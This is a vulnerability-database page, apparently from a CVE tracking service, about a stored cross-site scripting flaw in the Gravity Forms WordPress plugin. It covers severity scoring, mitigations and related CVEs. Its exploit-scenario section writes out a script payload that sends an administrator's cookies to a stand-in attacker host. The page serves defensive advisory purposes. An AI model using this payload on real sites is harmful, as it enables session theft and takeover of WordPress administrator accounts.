Skip to main content

Gravity Forms CVE-2026-5111

| EUVDEUVD-2026-26743 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-02 Wordfence
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit public form with JavaScript in Hidden Product name
  2. Delivery
    Bypass repeater validation
  3. Exploit
    Store unescaped payload in database
  4. Execution
    Admin views entry details
  5. Persist
    Execute script in admin session
  6. Impact
    Exfiltrate cookies or modify WordPress

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Vulnerability requires specific Gravity Forms configuration: forms must contain Hidden Product fields nested inside Repeater fields and be accessible for unauthenticated form submissions. Default Gravity Forms installations without this specific field combination are NOT vulnerable. Exploitation also requires administrators to actively view submitted entry details via the WordPress admin panel (Gravity Forms > Entries > View Entry) - stored payloads do not auto-execute on submission. Limiting factors: impact requires administrator interaction with malicious entries, payload executes only in admin context (not public-facing pages), and requires the specific repeater-nested-hidden-product field architecture which is not a default configuration. Sites using Gravity Forms purely for contact forms, surveys, or other simple forms without e-commerce Hidden Product fields are unaffected.

Impact

Real-world risk is MODERATE-HIGH despite the 7.2 CVSS score. The network attack vector (AV:N), low complexity (AC:L), and no authentication requirement (PR:N) make this trivially exploitable by any visitor to a site running vulnerable Gravity Forms with publicly accessible forms containing Repeater and Hidden Product fields. The Changed scope (S:C) indicates cross-context impact, as unauthenticated public users can inject code that executes in the privileged administrator session. However, several factors reduce immediate urgency: exploitation requires administrators to actively view entry details (not automatic execution), impact is limited to Low confidentiality and integrity (C:L/I:L) per CVSS, and no availability impact exists. CRITICAL MISSING DATA: EPSS exploitation probability not provided, KEV status unknown, and POC availability not confirmed. Without these signals, we cannot assess whether this is being actively targeted. The vulnerability class (stored XSS in admin context) is commonly exploited, but the specific trigger (repeater-nested hidden product fields) is a narrow configuration. Priority depends on whether your Gravity Forms implementation uses this specific field combination and whether forms are publicly accessible. Without EPSS/KEV confirmation, treat as defense-in-depth priority rather than emergency.

Exploit ScenarioDerived

An attacker identifies a WordPress site running Gravity Forms 2.10.0 with a publicly accessible contact or order form containing a Repeater field with nested Hidden Product fields. The attacker crafts a form submission with JavaScript payload in the product name field, such as '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'. Because repeater subfields bypass validation and the Hidden Product validate() method ignores the name field, this malicious payload is stored unescaped in the WordPress database. When a site administrator logs into WordPress and navigates to Gravity Forms > Entries to review submissions, the stored script executes in their browser session, potentially stealing admin session cookies, creating rogue admin accounts, or modifying site content. No public exploit code status confirmed at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 02, 2026

Stored Cross-Site Scripting in Gravity Forms plugin for WordPress through version 2.10.0 allows unauthenticated remote attackers to inject malicious scripts via Hidden Product fields nested in Repeater fields. The vulnerability executes when WordPress administrators view submitted form entries. Attack succeeds because repeater subfields bypass validation, and the Hidden Product field's validate() method checks only quantity while ignoring the product name field, which renders unescaped in entry details. CVSS 7.2 with changed scope indicates potential cross-user impact. EPSS and KEV data not provided; exploitation requires no authentication or user interaction (AV:N/PR:N/UI:N), making this exploitable against any public-facing Gravity Forms installation accepting submissions.

RemediationAI

Immediately upgrade Gravity Forms to version 2.10.1 or later, which should address the validation bypass and output escaping issues per the vendor changelog at https://docs.gravityforms.com/gravityforms-change-log/. If immediate patching is not feasible, implement these compensating controls with noted trade-offs: (1) Disable or remove Repeater fields from public-facing forms containing Hidden Product fields - this breaks legitimate form functionality but eliminates the attack surface; (2) Restrict form submissions to authenticated WordPress users only via Gravity Forms' 'Require user to be logged in' setting - reduces attack surface but blocks anonymous submissions; (3) Implement Web Application Firewall rules to block script tags in POST parameters matching Hidden Product field names - may cause false positives with legitimate form data; (4) Review all existing form entries for suspicious JavaScript patterns in Hidden Product name fields before administrators view them - labor-intensive and doesn't prevent future submissions. The primary fix (upgrading to 2.10.1+) is strongly recommended as workarounds significantly reduce form usability.

Affected VersionsENISA

Gravity Forms 0 ≤2.10.0

Affected Packages

euvd gravity_forms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gravity Forms is a premium WordPress form builder plugin. This vulnerability stems from a validation bypass in the Repeater field component combined with insufficient output escaping (CWE-79). When a Hidden Product field is nested inside a Repeater field, the repeater's architecture bypasses normal state validation checks. The Hidden Product field's validate() method performs incomplete validation, checking only the quantity parameter while ignoring the product name field. Later, the get_value_entry_detail() method outputs this unvalidated product name field directly into the WordPress admin interface without HTML entity encoding or sanitization. This creates a classic stored XSS condition where malicious JavaScript embedded in form submissions persists in the database and executes in the administrative context when entry details are rendered. The affected CPE (cpe:2.3:a:gravity_forms:gravity_forms) indicates the core Gravity Forms plugin, not a specific add-on.

Know when Gravity Forms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output escaping on Hidden Product field values when used inside Repeater fields, where repeater subfields bypass state validation checks and the Hidden Product validate() method only validates the quantity field while ignoring the product name field that is later output without proper escaping in the get_value_entry_detail() method. This makes it possible for unauthenticated attackers to inject arbitrary web scripts through form submissions that will execute whenever an administrator views the entry details.

Executive ViewAI

Why It Matters

Gravity Forms plugin for WordPress through version 2.10.0 contains a stored cross-site scripting vulnerability allowing unauthenticated attackers to inject malicious scripts through form submissions, which execute when administrators review entries. This directly threatens WordPress site administrators and could enable account takeover, data theft, or malware distribution across your organization's web properties.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement input validation and output encoding via WAF or reverse proxy to sanitize Hidden Product field submissions; (2) Restrict form submission viewing permissions to essential administrators only; (3) Disable or remove Repeater field functionality from public-facing forms until patch release; (4) Monitor form submission logs for suspicious script-like input patterns; (5) Enforce Content Security Policy headers to limit inline script execution.

Threat Intelligence Overview

EPSS Score
0.0%
Top 98% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-84434 CRITICAL POC
9.8 Sep 19

Unauthenticated arbitrary file upload in the Gravity Forms WordPress plugin through version 3.1.0.4 can lead to remote c

CVE-2017-17780 MEDIUM POC
6.1 Dec 20

The Clockwork SMS clockwork-test-message.php component has XSS via a crafted "to" parameter in a clockwork-test-message

CVE-2023-2701 MEDIUM POC
6.1 Jul 17

The Gravity Forms WordPress plugin before 2.7.5 does not escape generated URLs before outputting them in attributes, lea

CVE-2026-103039 CRITICAL
9.8 Oct 30

Unauthenticated PHP object injection in the Gravity Forms WordPress plugin, affecting every version up to and including

CVE-2023-28782 HIGH
8.3 Dec 20

Deserialization of Untrusted Data vulnerability in Rocketgenius Inc. Rated high severity (CVSS 8.3), this vulnerability

CVE-2026-19513 HIGH
8.1 Sep 01

Arbitrary file upload in Gravity Forms for WordPress (all versions ≤ 3.0.2) allows unauthenticated attackers to write PH

CVE-2026-12997 HIGH
7.5 Jul 15

Arbitrary file disclosure in the Gravity Forms WordPress plugin (all versions through 2.10.4) lets unauthenticated attac

CVE-2026-97645 HIGH
7.2 Oct 30

Stored cross-site scripting in the Gravity Forms WordPress plugin through 3.1.2 allows unauthenticated form submitters t

CVE-2026-90437 HIGH
7.2 Oct 30

Stored cross-site scripting in the Gravity Forms plugin for WordPress, affecting all versions up to and including 3.1.1,

CVE-2026-16649 HIGH
7.2 Sep 05

Stored Cross-Site Scripting in the Gravity Forms WordPress plugin (all versions ≤2.10.5) permits unauthenticated attacke

CVE-2026-5110 HIGH
7.2 May 02

Stored cross-site scripting (XSS) in Gravity Forms WordPress plugin versions ≤2.10.0 allows remote unauthenticated attac

CVE-2026-5109 HIGH
7.2 May 02

Stored XSS in Gravity Forms for WordPress ≤2.10.0 allows unauthenticated remote attackers to inject malicious JavaScript

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy